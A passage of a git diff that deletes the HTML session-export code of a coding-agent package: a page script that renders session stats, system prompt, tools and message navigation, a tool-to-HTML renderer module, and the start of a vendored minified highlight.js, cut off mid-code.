=== "compaction") { - compactions++; - } else if (entry.type === "branch_summary") { - branchSummaries++; - } else if (entry.type === "custom_message") { - customMessages++; - } - } - - return { - userMessages, - assistantMessages, - toolResults, - customMessages, - compactions, - branchSummaries, - toolCalls, - tokens, - cost, - models: Array.from(models), - }; - } - - const globalStats = computeStats(entries); - - function renderHeader() { - const totalCost = - globalStats.cost.input + - globalStats.cost.output + - globalStats.cost.cacheRead + - globalStats.cost.cacheWrite; - - const tokenParts = []; - if (globalStats.tokens.input) - tokenParts.push(`↑${formatTokens(globalStats.tokens.input)}`); - if (globalStats.tokens.output) - tokenParts.push(`↓${formatTokens(globalStats.tokens.output)}`); - if (globalStats.tokens.cacheRead) - tokenParts.push(`R${formatTokens(globalStats.tokens.cacheRead)}`); - if (globalStats.tokens.cacheWrite) - tokenParts.push(`W${formatTokens(globalStats.tokens.cacheWrite)}`); - - const msgParts = []; - if (globalStats.userMessages) - msgParts.push(`${globalStats.userMessages} user`); - if (globalStats.assistantMessages) - msgParts.push(`${globalStats.assistantMessages} assistant`); - if (globalStats.toolResults) - msgParts.push(`${globalStats.toolResults} tool results`); - if (globalStats.customMessages) - msgParts.push(`${globalStats.customMessages} custom`); - if (globalStats.compactions) - msgParts.push(`${globalStats.compactions} compactions`); - if (globalStats.branchSummaries) - msgParts.push(`${globalStats.branchSummaries} branch summaries`); - - let html = ` -
-

Session: ${escapeHtml(header?.id || "unknown")}

-
- Ctrl+T toggle thinking · Ctrl+O toggle tools - -
-
-
Date:${header?.timestamp ? new Date(header.timestamp).toLocaleString() : "unknown"}
-
Models:${escapeHtml(globalStats.models.join(", ") || "unknown")}
-
Messages:${msgParts.join(", ") || "0"}
-
Tool Calls:${globalStats.toolCalls}
-
Tokens:${tokenParts.join(" ") || "0"}
-
Cost:$${totalCost.toFixed(3)}
-
-
`; - - // Render system prompt (user's base prompt, applies to all providers) - if (systemPrompt) { - const lines = systemPrompt.split("\n"); - const previewLines = 10; - if (lines.length > previewLines) { - const preview = lines.slice(0, previewLines).join("\n"); - const remaining = lines.length - previewLines; - html += ``; - } else { - html += `
-
System Prompt
-
${escapeHtml(systemPrompt)}
-
`; - } - } - - if (tools && tools.length > 0) { - html += `
-
Available Tools
-
- ${tools - .map((t) => { - const hasParams = - t.parameters && - typeof t.parameters === "object" && - t.parameters.properties && - Object.keys(t.parameters.properties).length > 0; - if (!hasParams) { - return `
${escapeHtml(t.name)} - ${escapeHtml(t.description)}
`; - } - const params = t.parameters; - const properties = params.properties; - const required = params.required || []; - let paramsHtml = ""; - for (const [name, prop] of Object.entries(properties)) { - const isRequired = required.includes(name); - const typeStr = prop.type || "any"; - const reqLabel = isRequired - ? 'required' - : 'optional'; - paramsHtml += `
${escapeHtml(name)} ${escapeHtml(typeStr)} ${reqLabel}`; - if (prop.description) { - paramsHtml += `
${escapeHtml(prop.description)}
`; - } - paramsHtml += `
`; - } - return `
${escapeHtml(t.name)} - ${escapeHtml(t.description)}
${paramsHtml}
`; - }) - .join("")} -
-
`; - } - - return html; - } - - // ============================================================ - // NAVIGATION - // ============================================================ - - // Cache for rendered entry DOM nodes - const entryCache = new Map(); - - function renderEntryToNode(entry) { - // Check cache first - if (entryCache.has(entry.id)) { - return entryCache.get(entry.id).cloneNode(true); - } - - // Render to HTML string, then parse to node - const html = renderEntry(entry); - if (!html) return null; - - const template = document.createElement("template"); - template.innerHTML = html; - const node = template.content.firstElementChild; - - // Cache the node - if (node) { - entryCache.set(entry.id, node.cloneNode(true)); - } - return node; - } - - function navigateTo(targetId, scrollMode = "target", scrollToEntryId = null) { - currentLeafId = targetId; - currentTargetId = scrollToEntryId || targetId; - const path = getPath(targetId); - - renderTree(); - - document.getElementById("header-container").innerHTML = renderHeader(); - - // Build messages using cached DOM nodes - const messagesEl = document.getElementById("messages"); - const fragment = document.createDocumentFragment(); - - for (const entry of path) { - const node = renderEntryToNode(entry); - if (node) { - fragment.appendChild(node); - } - } - - messagesEl.innerHTML = ""; - messagesEl.appendChild(fragment); - - // Attach click handlers for copy-link buttons - messagesEl.querySelectorAll(".copy-link-btn").forEach((btn) => { - btn.addEventListener("click", (e) => { - e.stopPropagation(); - const entryId = btn.dataset.entryId; - const shareUrl = buildShareUrl(entryId); - copyToClipboard(shareUrl, btn); - }); - }); - - // Use setTimeout(0) to ensure DOM is fully laid out before scrolling - setTimeout(() => { - const content = document.getElementById("content"); - if (scrollMode === "bottom") { - content.scrollTop = content.scrollHeight; - } else if (scrollMode === "target") { - // If scrollToEntryId is provided, scroll to that specific entry - const scrollTargetId = scrollToEntryId || targetId; - const targetEl = document.getElementById(`entry-${scrollTargetId}`); - if (targetEl) { - targetEl.scrollIntoView({ block: "center" }); - // Briefly highlight the target message - if (scrollToEntryId) { - targetEl.classList.add("highlight"); - setTimeout(() => targetEl.classList.remove("highlight"), 2000); - } - } - } - }, 0); - } - - // ============================================================ - // INITIALIZATION - // ============================================================ - - // Escape HTML tags in text (but not code blocks) - function escapeHtmlTags(text) { - return text.replace(/<(?=[a-zA-Z/])/g, "<"); - } - - // Configure marked with syntax highlighting and HTML escaping for text - marked.use({ - breaks: true, - gfm: true, - renderer: { - // Code blocks: syntax highlight, no HTML escaping - code(token) { - const code = token.text; - const lang = token.lang; - let highlighted; - if (lang && hljs.getLanguage(lang)) { - try { - highlighted = hljs.highlight(code, { language: lang }).value; - } catch { - highlighted = escapeHtml(code); - } - } else { - // Auto-detect language if not specified - try { - highlighted = hljs.highlightAuto(code).value; - } catch { - highlighted = escapeHtml(code); - } - } - return `
${highlighted}
`; - }, - // Text content: escape HTML tags - text(token) { - return escapeHtmlTags(escapeHtml(token.text)); - }, - // Inline code: escape HTML - codespan(token) { - return `${escapeHtml(token.text)}`; - }, - }, - }); - - // Simple marked parse (escaping handled in renderers) - function safeMarkedParse(text) { - return marked.parse(text); - } - - // Search input - const searchInput = document.getElementById("tree-search"); - searchInput.addEventListener("input", (e) => { - searchQuery = e.target.value; - forceTreeRerender(); - }); - - // Filter buttons - document.querySelectorAll(".filter-btn").forEach((btn) => { - btn.addEventListener("click", () => { - document - .querySelectorAll(".filter-btn") - .forEach((b) => b.classList.remove("active")); - btn.classList.add("active"); - filterMode = btn.dataset.filter; - forceTreeRerender(); - }); - }); - - // Sidebar toggle - const sidebar = document.getElementById("sidebar"); - const overlay = document.getElementById("sidebar-overlay"); - const hamburger = document.getElementById("hamburger"); - - hamburger.addEventListener("click", () => { - sidebar.classList.add("open"); - overlay.classList.add("open"); - hamburger.style.display = "none"; - }); - - const closeSidebar = () => { - sidebar.classList.remove("open"); - overlay.classList.remove("open"); - hamburger.style.display = ""; - }; - - overlay.addEventListener("click", closeSidebar); - document - .getElementById("sidebar-close") - .addEventListener("click", closeSidebar); - - // Toggle states - let thinkingExpanded = true; - let toolOutputsExpanded = false; - - const toggleThinking = () => { - thinkingExpanded = !thinkingExpanded; - document.querySelectorAll(".thinking-text").forEach((el) => { - el.style.display = thinkingExpanded ? "" : "none"; - }); - document.querySelectorAll(".thinking-collapsed").forEach((el) => { - el.style.display = thinkingExpanded ? "none" : "block"; - }); - }; - - const toggleToolOutputs = () => { - toolOutputsExpanded = !toolOutputsExpanded; - document.querySelectorAll(".tool-output.expandable").forEach((el) => { - el.classList.toggle("expanded", toolOutputsExpanded); - }); - document.querySelectorAll(".compaction").forEach((el) => { - el.classList.toggle("expanded", toolOutputsExpanded); - }); - }; - - // Keyboard shortcuts - document.addEventListener("keydown", (e) => { - if (e.key === "Escape") { - searchInput.value = ""; - searchQuery = ""; - navigateTo(leafId, "bottom"); - } - if (e.ctrlKey && e.key === "t") { - e.preventDefault(); - toggleThinking(); - } - if (e.ctrlKey && e.key === "o") { - e.preventDefault(); - toggleToolOutputs(); - } - }); - - // Initial render - // If URL has targetId, scroll to that specific message; otherwise stay at top - if (leafId) { - if (urlTargetId && byId.has(urlTargetId)) { - // Deep link: navigate to leaf and scroll to target message - navigateTo(leafId, "target", urlTargetId); - } else { - navigateTo(leafId, "none"); - } - } else if (entries.length > 0) { - // Fallback: use last entry if no leafId - navigateTo(entries[entries.length - 1].id, "none"); - } -})(); diff --git a/packages/pi-coding-agent/src/core/export-html/tool-renderer.ts b/packages/pi-coding-agent/src/core/export-html/tool-renderer.ts deleted file mode 100644 index 155d55e13..000000000 --- a/packages/pi-coding-agent/src/core/export-html/tool-renderer.ts +++ /dev/null @@ -1,130 +0,0 @@ -/** - * Tool HTML renderer for custom tools in HTML export. - * - * Renders custom tool calls and results to HTML by invoking their TUI renderers - * and converting the ANSI output to HTML. - */ - -import type { ImageContent, TextContent } from "@singularity-forge/pi-ai"; -import type { Theme } from "../../modes/interactive/theme/theme.js"; -import type { ToolDefinition } from "../extensions/types.js"; -import { ansiLinesToHtml } from "./ansi-to-html.js"; - -export interface ToolHtmlRendererDeps { - /** Function to look up tool definition by name */ - getToolDefinition: (name: string) => ToolDefinition | undefined; - /** Theme for styling */ - theme: Theme; - /** Terminal width for rendering (default: 100) */ - width?: number; -} - -export interface ToolHtmlRenderer { - /** Render a tool call to HTML. Returns undefined if tool has no custom renderer. */ - renderCall(toolName: string, args: unknown): string | undefined; - /** Render a tool result to collapsed/expanded HTML. Returns undefined if tool has no custom renderer. */ - renderResult( - toolName: string, - result: Array<{ - type: string; - text?: string; - data?: string; - mimeType?: string; - }>, - details: unknown, - isError: boolean, - ): { collapsed?: string; expanded?: string } | undefined; -} - -/** - * Create a tool HTML renderer. - * - * The renderer looks up tool definitions and invokes their renderCall/renderResult - * methods, converting the resulting TUI Component output (ANSI) to HTML. - */ -export function createToolHtmlRenderer( - deps: ToolHtmlRendererDeps, -): ToolHtmlRenderer { - const { getToolDefinition, theme, width = 100 } = deps; - - return { - renderCall(toolName: string, args: unknown): string | undefined { - try { - const toolDef = getToolDefinition(toolName); - if (!toolDef?.renderCall) { - return undefined; - } - - const component = toolDef.renderCall(args, theme); - if (!component) { - return undefined; - } - const lines = component.render(width); - return ansiLinesToHtml(lines); - } catch { - // On error, return undefined to trigger JSON fallback - return undefined; - } - }, - - renderResult( - toolName: string, - result: Array<{ - type: string; - text?: string; - data?: string; - mimeType?: string; - }>, - details: unknown, - isError: boolean, - ): { collapsed?: string; expanded?: string } | undefined { - try { - const toolDef = getToolDefinition(toolName); - if (!toolDef?.renderResult) { - return undefined; - } - - // Build AgentToolResult from content array - // Cast content since session storage uses generic object types - const agentToolResult = { - content: result as (TextContent | ImageContent)[], - details, - isError, - }; - - // Render collapsed - const collapsedComponent = toolDef.renderResult( - agentToolResult, - { expanded: false, isPartial: false }, - theme, - ); - const collapsed = collapsedComponent - ? ansiLinesToHtml(collapsedComponent.render(width)) - : undefined; - - // Render expanded - const expandedComponent = toolDef.renderResult( - agentToolResult, - { expanded: true, isPartial: false }, - theme, - ); - const expanded = expandedComponent - ? ansiLinesToHtml(expandedComponent.render(width)) - : undefined; - - // Return collapsed only if it exists and differs from expanded - if (!expanded) { - return undefined; - } - - return { - ...(collapsed && collapsed !== expanded ? { collapsed } : {}), - expanded, - }; - } catch { - // On error, return undefined to trigger JSON fallback - return undefined; - } - }, - }; -} diff --git a/packages/pi-coding-agent/src/core/export-html/vendor/highlight.min.js b/packages/pi-coding-agent/src/core/export-html/vendor/highlight.min.js deleted file mode 100644 index 5d699ae6a..000000000 --- a/packages/pi-coding-agent/src/core/export-html/vendor/highlight.min.js +++ /dev/null @@ -1,1213 +0,0 @@ -/*! - Highlight.js v11.9.0 (git: f47103d4f1) - (c) 2006-2023 undefined and other contributors - License: BSD-3-Clause - */ -var hljs=function(){"use strict";function e(n){ -return n instanceof Map?n.clear=n.delete=n.set=()=>{ -throw Error("map is read-only")}:n instanceof Set&&(n.add=n.clear=n.delete=()=>{ -throw Error("set is read-only") -}),Object.freeze(n),Object.getOwnPropertyNames(n).forEach((t=>{ -const a=n[t],i=typeof a;"object"!==i&&"function"!==i||Object.isFrozen(a)||e(a) -})),n}class n{constructor(e){ -void 0===e.data&&(e.data={}),this.data=e.data,this.isMatchIgnored=!1} -ignoreMatch(){this.isMatchIgnored=!0}}function t(e){ -return e.replace(/&/g,"&").replace(//g,">").replace(/"/g,""").replace(/'/g,"'") -}function a(e,...n){const t=Object.create(null);for(const n in e)t[n]=e[n] -;return n.forEach((e=>{for(const n in e)t[n]=e[n]})),t}const i=e=>!!e.scope -;class r{constructor(e,n){ -this.buffer="",this.classPrefix=n.classPrefix,e.walk(this)}addText(e){ -this.buffer+=t(e)}openNode(e){if(!i(e))return;const n=((e,{prefix:n})=>{ -if(e.startsWith("language:"))return e.replace("language:","language-") -;if(e.includes(".")){const t=e.split(".") -;return[`${n}${t.shift()}`,...t.map(((e,n)=>`${e}${"_".repeat(n+1)}`))].join(" ") -}return`${n}${e}`})(e.scope,{prefix:this.classPrefix});this.span(n)} -closeNode(e){i(e)&&(this.buffer+="")}value(){return this.buffer}span(e){ -this.buffer+=``}}const s=(e={})=>{const n={children:[]} -;return Object.assign(n,e),n};class o{constructor(){ -this.rootNode=s(),this.stack=[this.rootNode]}get top(){ -return this.stack[this.stack.length-1]}get root(){return this.rootNode}add(e){ -this.top.children.push(e)}openNode(e){const n=s({scope:e}) -;this.add(n),this.stack.push(n)}closeNode(){ -if(this.stack.length>1)return this.stack.pop()}closeAllNodes(){ -for(;this.closeNode(););}toJSON(){return JSON.stringify(this.rootNode,null,4)} -walk(e){return this.constructor._walk(e,this.rootNode)}static _walk(e,n){ -return"string"==typeof n?e.addText(n):n.children&&(e.openNode(n), -n.children.forEach((n=>this._walk(e,n))),e.closeNode(n)),e}static _collapse(e){ -"string"!=typeof e&&e.children&&(e.children.every((e=>"string"==typeof e))?e.children=[e.children.join("")]:e.children.forEach((e=>{ -o._collapse(e)})))}}class l extends o{constructor(e){super(),this.options=e} -addText(e){""!==e&&this.add(e)}startScope(e){this.openNode(e)}endScope(){ -this.closeNode()}__addSublanguage(e,n){const t=e.root -;n&&(t.scope="language:"+n),this.add(t)}toHTML(){ -return new r(this,this.options).value()}finalize(){ -return this.closeAllNodes(),!0}}function c(e){ -return e?"string"==typeof e?e:e.source:null}function d(e){return b("(?=",e,")")} -function g(e){return b("(?:",e,")*")}function u(e){return b("(?:",e,")?")} -function b(...e){return e.map((e=>c(e))).join("")}function m(...e){const n=(e=>{ -const n=e[e.length-1] -;return"object"==typeof n&&n.constructor===Object?(e.splice(e.length-1,1),n):{} -})(e);return"("+(n.capture?"":"?:")+e.map((e=>c(e))).join("|")+")"} -function p(e){return RegExp(e.toString()+"|").exec("").length-1} -const _=/\[(?:[^\\\]]|\\.)*\]|\(\??|\\([1-9][0-9]*)|\\./ -;function h(e,{joinWith:n}){let t=0;return e.map((e=>{t+=1;const n=t -;let a=c(e),i="";for(;a.length>0;){const e=_.exec(a);if(!e){i+=a;break} -i+=a.substring(0,e.index), -a=a.substring(e.index+e[0].length),"\\"===e[0][0]&&e[1]?i+="\\"+(Number(e[1])+n):(i+=e[0], -"("===e[0]&&t++)}return i})).map((e=>`(${e})`)).join(n)} -const f="[a-zA-Z]\\w*",E="[a-zA-Z_]\\w*",y="\\b\\d+(\\.\\d+)?",N="(-?)(\\b0[xX][a-fA-F0-9]+|(\\b\\d+(\\.\\d*)?|\\.\\d+)([eE][-+]?\\d+)?)",w="\\b(0b[01]+)",v={ -begin:"\\\\[\\s\\S]",relevance:0},O={scope:"string",begin:"'",end:"'", -illegal:"\\n",contains:[v]},k={scope:"string",begin:'"',end:'"',illegal:"\\n", -contains:[v]},x=(e,n,t={})=>{const i=a({scope:"comment",begin:e,end:n, -contains:[]},t);i.contains.push({scope:"doctag", -begin:"[ ]*(?=(TODO|FIXME|NOTE|BUG|OPTIMIZE|HACK|XXX):)", -end:/(TODO|FIXME|NOTE|BUG|OPTIMIZE|HACK|XXX):/,excludeBegin:!0,relevance:0}) -;const r=m("I","a","is","so","us","to","at","if","in","it","on",/[A-Za-z]+['](d|ve|re|ll|t|s|n)/,/[A-Za-z]+[-][a-z]+/,/[A-Za-z][a-z]{2,}/) -;return i.contains.push({begin:b(/[ ]+/,"(",r,/[.]?[:]?([.][ ]|[ ])/,"){3}")}),i -},M=x("//","$"),S=x("/\\*","\\*/"),A=x("#","$");var C=Object.freeze({ -__proto__:null,APOS_STRING_MODE:O,BACKSLASH_ESCAPE:v,BINARY_NUMBER_MODE:{ -scope:"number",begin:w,relevance:0},BINARY_NUMBER_RE:w,COMMENT:x, -C_BLOCK_COMMENT_MODE:S,C_LINE_COMMENT_MODE:M,C_NUMBER_MODE:{scope:"number", -begin:N,relevance:0},C_NUMBER_RE:N,END_SAME_AS_BEGIN:e=>Object.assign(e,{ -"on:begin":(e,n)=>{n.data._beginMatch=e[1]},"on:end":(e,n)=>{ -n.data._beginMatch!==e[1]&&n.ignoreMatch()}}),HASH_COMMENT_MODE:A,IDENT_RE:f, -MATCH_NOTHING_RE:/\b\B/,METHOD_GUARD:{begin:"\\.\\s*"+E,relevance:0}, -NUMBER_MODE:{scope:"number",begin:y,relevance:0},NUMBER_RE:y, -PHRASAL_WORDS_MODE:{ -begin:/\b(a|an|the|are|I'm|isn't|don't|doesn't|won't|but|just|should|pretty|simply|enough|gonna|going|wtf|so|such|will|you|your|they|like|more)\b/ -},QUOTE_STRING_MODE:k,REGEXP_MODE:{scope:"regexp",begin:/\/(?=[^/\n]*\/)/, -end:/\/[gimuy]*/,contains:[v,{begin:/\[/,end:/\]/,relevance:0,contains:[v]}]}, -RE_STARTERS_RE:"!|!=|!==|%|%=|&|&&|&=|\\*|\\*=|\\+|\\+=|,|-|-=|/=|/|:|;|<<|<<=|<=|<|===|==|=|>>>=|>>=|>=|>>>|>>|>|\\?|\\[|\\{|\\(|\\^|\\^=|\\||\\|=|\\|\\||~", -SHEBANG:(e={})=>{const n=/^#![ ]*\// -;return e.binary&&(e.begin=b(n,/.*\b/,e.binary,/\b.*/)),a({scope:"meta",begin:n, -end:/$/,relevance:0,"on:begin":(e,n)=>{0!==e.index&&n.ignoreMatch()}},e)}, -TITLE_MODE:{scope:"title",begin:f,relevance:0},UNDERSCORE_IDENT_RE:E, -UNDERSCORE_TITLE_MODE:{scope:"title",begin:E,relevance:0}});function T(e,n){ -"."===e.input[e.index-1]&&n.ignoreMatch()}function R(e,n){ -void 0!==e.className&&(e.scope=e.className,delete e.className)}function D(e,n){ -n&&e.beginKeywords&&(e.begin="\\b("+e.beginKeywords.split(" ").join("|")+")(?!\\.)(?=\\b|\\s)", -e.__beforeBegin=T,e.keywords=e.keywords||e.beginKeywords,delete e.beginKeywords, -void 0===e.relevance&&(e.relevance=0))}function I(e,n){ -Array.isArray(e.illegal)&&(e.illegal=m(...e.illegal))}function L(e,n){ -if(e.match){ -if(e.begin||e.end)throw Error("begin & end are not supported with match") -;e.begin=e.match,delete e.match}}function B(e,n){ -void 0===e.relevance&&(e.relevance=1)}const $=(e,n)=>{if(!e.beforeMatch)return -;if(e.starts)throw Error("beforeMatch cannot be used with starts") -;const t=Object.assign({},e);Object.keys(e).forEach((n=>{delete e[n] -})),e.keywords=t.keywords,e.begin=b(t.beforeMatch,d(t.begin)),e.starts={ -relevance:0,contains:[Object.assign(t,{endsParent:!0})] -},e.relevance=0,delete t.beforeMatch -},z=["of","and","for","in","not","or","if","then","parent","list","value"],F="keyword" -;function U(e,n,t=F){const a=Object.create(null) -;return"string"==typeof e?i(t,e.split(" ")):Array.isArray(e)?i(t,e):Object.keys(e).forEach((t=>{ -Object.assign(a,U(e[t],n,t))})),a;function i(e,t){ -n&&(t=t.map((e=>e.toLowerCase()))),t.forEach((n=>{const t=n.split("|") -;a[t[0]]=[e,j(t[0],t[1])]}))}}function j(e,n){ -return n?Number(n):(e=>z.includes(e.toLowerCase()))(e)?0:1}const P={},K=e=>{ -console.error(e)},H=(e,...n)=>{console.log("WARN: "+e,...n)},q=(e,n)=>{ -P[`${e}/${n}`]||(console.log(`Deprecated as of ${e}. ${n}`),P[`${e}/${n}`]=!0) -},G=Error();function Z(e,n,{key:t}){let a=0;const i=e[t],r={},s={} -;for(let e=1;e<=n.length;e++)s[e+a]=i[e],r[e+a]=!0,a+=p(n[e-1]) -;e[t]=s,e[t]._emit=r,e[t]._multi=!0}function W(e){(e=>{ -e.scope&&"object"==typeof e.scope&&null!==e.scope&&(e.beginScope=e.scope, -delete e.scope)})(e),"string"==typeof e.beginScope&&(e.beginScope={ -_wrap:e.beginScope}),"string"==typeof e.endScope&&(e.endScope={_wrap:e.endScope -}),(e=>{if(Array.isArray(e.begin)){ -if(e.skip||e.excludeBegin||e.returnBegin)throw K("skip, excludeBegin, returnBegin not compatible with beginScope: {}"), -G -;if("object"!=typeof e.beginScope||null===e.beginScope)throw K("beginScope must be object"), -G;Z(e,e.begin,{key:"beginScope"}),e.begin=h(e.begin,{joinWith:""})}})(e),(e=>{ -if(Array.isArray(e.end)){ -if(e.skip||e.excludeEnd||e.returnEnd)throw K("skip, excludeEnd, returnEnd not compatible with endScope: {}"), -G -;if("object"!=typeof e.endScope||null===e.endScope)throw K("endScope must be object"), -G;Z(e,e.end,{key:"endScope"}),e.end=h(e.end,{joinWith:""})}})(e)}function Q(e){ -function n(n,t){ -return RegExp(c(n),"m"+(e.case_insensitive?"i":"")+(e.unicodeRegex?"u":"")+(t?"g":"")) -}class t{constructor(){ -this.matchIndexes={},this.regexes=[],this.matchAt=1,this.position=0} -addRule(e,n){ -n.position=this.position++,this.matchIndexes[this.matchAt]=n,this.regexes.push([n,e]), -this.matchAt+=p(e)+1}compile(){0===this.regexes.length&&(this.exec=()=>null) -;const e=this.regexes.map((e=>e[1]));this.matcherRe=n(h(e,{joinWith:"|" -}),!0),this.lastIndex=0}exec(e){this.matcherRe.lastIndex=this.lastIndex -;const n=this.matcherRe.exec(e);if(!n)return null -;const t=n.findIndex(((e,n)=>n>0&&void 0!==e)),a=this.matchIndexes[t] -;return n.splice(0,t),Object.assign(n,a)}}class i{constructor(){ -this.rules=[],this.multiRegexes=[], -this.count=0,this.lastIndex=0,this.regexIndex=0}getMatcher(e){ -if(this.multiRegexes[e])return this.multiRegexes[e];const n=new t -;return this.rules.slice(e).forEach((([e,t])=>n.addRule(e,t))), -n.compile(),this.multiRegexes[e]=n,n}resumingScanAtSamePosition(){ -return 0!==this.regexIndex}considerAll(){this.regexIndex=0}addRule(e,n){ -this.rules.push([e,n]),"begin"===n.type&&this.count++}exec(e){ -const n=this.getMatcher(this.regexIndex);n.lastIndex=this.lastIndex -;let t=n.exec(e) -;if(this.resumingScanAtSamePosition())if(t&&t.index===this.lastIndex);else{ -const n=this.getMatcher(0);n.lastIndex=this.lastIndex+1,t=n.exec(e)} -return t&&(this.regexIndex+=t.position+1, -this.regexIndex===this.count&&this.considerAll()),t}} -if(e.compilerExtensions||(e.compilerExtensions=[]), -e.contains&&e.contains.includes("self"))throw Error("ERR: contains `self` is not supported at the top-level of a language. See documentation.") -;return e.classNameAliases=a(e.classNameAliases||{}),function t(r,s){const o=r -;if(r.isCompiled)return o -;[R,L,W,$].forEach((e=>e(r,s))),e.compilerExtensions.forEach((e=>e(r,s))), -r.__beforeBegin=null,[D,I,B].forEach((e=>e(r,s))),r.isCompiled=!0;let l=null -;return"object"==typeof r.keywords&&r.keywords.$pattern&&(r.keywords=Object.assign({},r.keywords), -l=r.keywords.$pattern, -delete r.keywords.$pattern),l=l||/\w+/,r.keywords&&(r.keywords=U(r.keywords,e.case_insensitive)), -o.keywordPatternRe=n(l,!0), -s&&(r.begin||(r.begin=/\B|\b/),o.beginRe=n(o.begin),r.end||r.endsWithParent||(r.end=/\B|\b/), -r.end&&(o.endRe=n(o.end)), -o.terminatorEnd=c(o.end)||"",r.endsWithParent&&s.terminatorEnd&&(o.terminatorEnd+=(r.end?"|":"")+s.terminatorEnd)), -r.illegal&&(o.illegalRe=n(r.illegal)), -r.contains||(r.contains=[]),r.contains=[].concat(...r.contains.map((e=>(e=>(e.variants&&!e.cachedVariants&&(e.cachedVariants=e.variants.map((n=>a(e,{ -variants:null},n)))),e.cachedVariants?e.cachedVariants:X(e)?a(e,{ -starts:e.starts?a(e.starts):null -}):Object.isFrozen(e)?a(e):e))("self"===e?r:e)))),r.contains.forEach((e=>{t(e,o) -})),r.starts&&t(r.starts,s),o.matcher=(e=>{const n=new i -;return e.contains.forEach((e=>n.addRule(e.begin,{rule:e,type:"begin" -}))),e.terminatorEnd&&n.addRule(e.terminatorEnd,{type:"end" -}),e.illegal&&n.addRule(e.illegal,{type:"illegal"}),n})(o),o}(e)}function X(e){ -return!!e&&(e.endsWithParent||X(e.starts))}class V extends Error{ -constructor(e,n){super(e),this.name="HTMLInjectionError",this.html=n}} -const J=t,Y=a,ee=Symbol("nomatch"),ne=t=>{ -const a=Object.create(null),i=Object.create(null),r=[];let s=!0 -;const o="Could not find the language '{}', did you forget to load/include a language module?",c={ -disableAutodetect:!0,name:"Plain text",contains:[]};let p={ -ignoreUnescapedHTML:!1,throwUnescapedHTML:!1,noHighlightRe:/^(no-?highlight)$/i, -languageDetectRe:/\blang(?:uage)?-([\w-]+)\b/i,classPrefix:"hljs-", -cssSelector:"pre code",languages:null,__emitter:l};function _(e){ -return p.noHighlightRe.test(e)}function h(e,n,t){let a="",i="" -;"object"==typeof n?(a=e, -t=n.ignoreIllegals,i=n.language):(q("10.7.0","highlight(lang, code, ...args) has been deprecated."), -q("10.7.0","Please use highlight(code, options) instead.\nhttps://github.com/highlightjs/highlight.js/issues/2277"), -i=e,a=n),void 0===t&&(t=!0);const r={code:a,language:i};x("before:highlight",r) -;const s=r.result?r.result:f(r.language,r.code,t) -;return s.code=r.code,x("after:highlight",s),s}function f(e,t,i,r){ -const l=Object.create(null);function c(){if(!x.keywords)return void S.addText(A) -;let e=0;x.keywordPatternRe.lastIndex=0;let n=x.keywordPatternRe.exec(A),t="" -;for(;n;){t+=A.substring(e,n.index) -;const i=w.case_insensitive?n[0].toLowerCase():n[0],r=(a=i,x.keywords[a]);if(r){ -const[e,a]=r -;if(S.addText(t),t="",l[i]=(l[i]||0)+1,l[i]<=7&&(C+=a),e.startsWith("_"))t+=n[0];else{ -const t=w.classNameAliases[e]||e;g(n[0],t)}}else t+=n[0] -;e=x.keywordPatternRe.lastIndex,n=x.keywordPatternRe.exec(A)}var a -;t+=A.substring(e),S.addText(t)}function d(){null!=x.subLanguage?(()=>{ -if(""===A)return;let e=null;if("string"==typeof x.subLanguage){ -if(!a[x.subLanguage])return void S.addText(A) -;e=f(x.subLanguage,A,!0,M[x.subLanguage]),M[x.subLanguage]=e._top -}else e=E(A,x.subLanguage.length?x.subLanguage:null) -;x.relevance>0&&(C+=e.relevance),S.__addSublanguage(e._emitter,e.language) -})():c(),A=""}function g(e,n){ -""!==e&&(S.startScope(n),S.addText(e),S.endScope())}function u(e,n){let t=1 -;const a=n.length-1;for(;t<=a;){if(!e._emit[t]){t++;continue} -const a=w.classNameAliases[e[t]]||e[t],i=n[t];a?g(i,a):(A=i,c(),A=""),t++}} -function b(e,n){ -return e.scope&&"string"==typeof e.scope&&S.openNode(w.classNameAliases[e.scope]||e.scope), -e.beginScope&&(e.beginScope._wrap?(g(A,w.classNameAliases[e.beginScope._wrap]||e.beginScope._wrap), -A=""):e.beginScope._multi&&(u(e.beginScope,n),A="")),x=Object.create(e,{parent:{ -value:x}}),x}function m(e,t,a){let i=((e,n)=>{const t=e&&e.exec(n) -;return t&&0===t.index})(e.endRe,a);if(i){if(e["on:end"]){const a=new n(e) -;e["on:end"](t,a),a.isMatchIgnored&&(i=!1)}if(i){ -for(;e.endsParent&&e.parent;)e=e.parent;return e}} -if(e.endsWithParent)return m(e.parent,t,a)}function _(e){ -return 0===x.matcher.regexIndex?(A+=e[0],1):(D=!0,0)}function h(e){ -const n=e[0],a=t.substring(e.index),i=m(x,e,a);if(!i)return ee;const r=x -;x.endScope&&x.endScope._wrap?(d(), -g(n,x.endScope._wrap)):x.endScope&&x.endScope._multi?(d(), -u(x.endScope,e)):r.skip?A+=n:(r.returnEnd||r.excludeEnd||(A+=n), -d(),r.excludeEnd&&(A=n));do{ -x.scope&&S.closeNode(),x.skip||x.subLanguage||(C+=x.relevance),x=x.parent -}while(x!==i.parent);return i.starts&&b(i.starts,e),r.returnEnd?0:n.length} -let y={};function N(a,r){const o=r&&r[0];if(A+=a,null==o)return d(),0 -;if("begin"===y.type&&"end"===r.type&&y.index===r.index&&""===o){ -if(A+=t.slice(r.index,r.index+1),!s){const n=Error(`0 width match regex (${e})`) -;throw n.languageName=e,n.badRule=y.rule,n}return 1} -if(y=r,"begin"===r.type)return(e=>{ -const t=e[0],a=e.rule,i=new n(a),r=[a.__beforeBegin,a["on:begin"]] -;for(const n of r)if(n&&(n(e,i),i.isMatchIgnored))return _(t) -;return a.skip?A+=t:(a.excludeBegin&&(A+=t), -d(),a.returnBegin||a.excludeBegin||(A=t)),b(a,e),a.returnBegin?0:t.length})(r) -;if("illegal"===r.type&&!i){ -const e=Error('Illegal lexeme "'+o+'" for mode "'+(x.scope||"")+'"') -;throw e.mode=x,e}if("end"===r.type){const e=h(r);if(e!==ee)return e} -if("illegal"===r.type&&""===o)return 1 -;if(R>1e5&&R>3*r.index)throw Error("potential infinite loop, way more iterations than matches") -;return A+=o,o.length}const w=v(e) -;if(!w)throw K(o.replace("{}",e)),Error('Unknown language: "'+e+'"') -;const O=Q(w);let k="",x=r||O;const M={},S=new p.__emitter(p);(()=>{const e=[] -;for(let n=x;n!==w;n=n.parent)n.scope&&e.unshift(n.scope) -;e.forEach((e=>S.openNode(e)))})();let A="",C=0,T=0,R=0,D=!1;try{ -if(w.__emitTokens)w.__emitTokens(t,S);else{for(x.matcher.considerAll();;){ -R++,D?D=!1:x.matcher.considerAll(),x.matcher.lastIndex=T -;const 